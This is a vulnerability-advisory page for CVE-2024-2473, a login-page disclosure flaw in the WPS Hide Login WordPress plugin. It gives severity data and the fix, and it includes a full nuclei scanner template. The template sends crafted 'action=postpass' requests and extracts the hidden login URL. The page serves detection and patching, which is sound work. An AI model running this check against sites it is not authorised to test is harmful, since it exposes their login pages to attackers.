WPS Hide Login <= 1.9.15.2 - Login Page Disclosure

mediumseverity

5.3CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

The WPS Hide Login plugin for WordPress is vulnerable to Login Page Disclosure in all versions up to, and including, 1.9.15.2. This is due to a bypass that is created when the 'action=postpass' parameter is supplied. This makes it possible for attackers to easily discover any login page that may have been hidden by the plugin.

Impact

Attackers can discover hidden WordPress login pages by bypassing the WPS Hide Login plugin's protection mechanism.

Fix

Update WPS Hide Login plugin to a version newer than 1.9.15.2.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "wp-content" or "wp-includes"
Send: POST /wp-login.php?action=postpass
Positive when: status_code == 200 and contains_all(body, "lostpasswordform", "action=") and !contains(body, "wp-login.php") and regex("<form[^>]+action=\"([^\"]+lostpassword[^\"]*)\"", body)
Send: POST /wp-admin/?action=postpass
Positive when: status_code == 302 and contains(header, "Location") and contains_any(header, "reauth=1", "/login") and regex("(?i)Location:.*lostpassword", header)

Run it with nuclei: nuclei -id CVE-2024-2473 -u <target>

The full check

id: CVE-2024-2473

info:
  name: WPS Hide Login <= 1.9.15.2 - Login Page Disclosure
  author: popcorn94,rodtvs
  severity: medium
  description: |
    The WPS Hide Login plugin for WordPress is vulnerable to Login Page Disclosure in all versions up to, and including, 1.9.15.2. This is due to a bypass that is created when the 'action=postpass' parameter is supplied. This makes it possible for attackers to easily discover any login page that may have been hidden by the plugin.
  impact: |
    Attackers can discover hidden WordPress login pages by bypassing the WPS Hide Login plugin's protection mechanism.
  remediation: |
    Update WPS Hide Login plugin to a version newer than 1.9.15.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wps-hide-login/wps-hide-login-19152-login-page-disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2473
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-2473
    cwe-id: CWE-200
    epss-score: 0.01235
    epss-percentile: 0.69293
    cpe: cpe:2.3:a:wpserveur:wps_hide_login:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/wps-hide-login"
    vendor: wpserveur
    product: wps-hide-login
  tags: cve,cve2024,wordpress,wp-plugin,wp,disclosure,wps-hide-login,vuln,vkev

flow: http(1) && (http(2) || http(3))

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "wp-content"
          - "wp-includes"
        condition: or
        internal: true

  - raw:
      - |
        POST /wp-login.php?action=postpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=lostpassword&post_password=test
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "lostpasswordform", "action=")'
          - '!contains(body, "wp-login.php")'
          - 'regex("<form[^>]+action=\"([^\"]+lostpassword[^\"]*)\"", body)'
        condition: and
    extractors:
      - type: regex
        part: body
        name: hidden_login_url
        group: 1
        regex:
          - '<form[^>]+action="([^"]+lostpassword[^"]*)"'

  - raw:
      - |
        POST /wp-admin/?action=postpass HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "Location")'
          - 'contains_any(header, "reauth=1", "/login")'
          - 'regex("(?i)Location:.*lostpassword", header)'
        condition: and

    extractors:
      - type: regex
        part: header
        name: hidden_login_url
        group: 1
        regex:
          - '(?i)Location:\s*(.+)'

References

Use this check only on systems you are authorised to test. Where the data comes from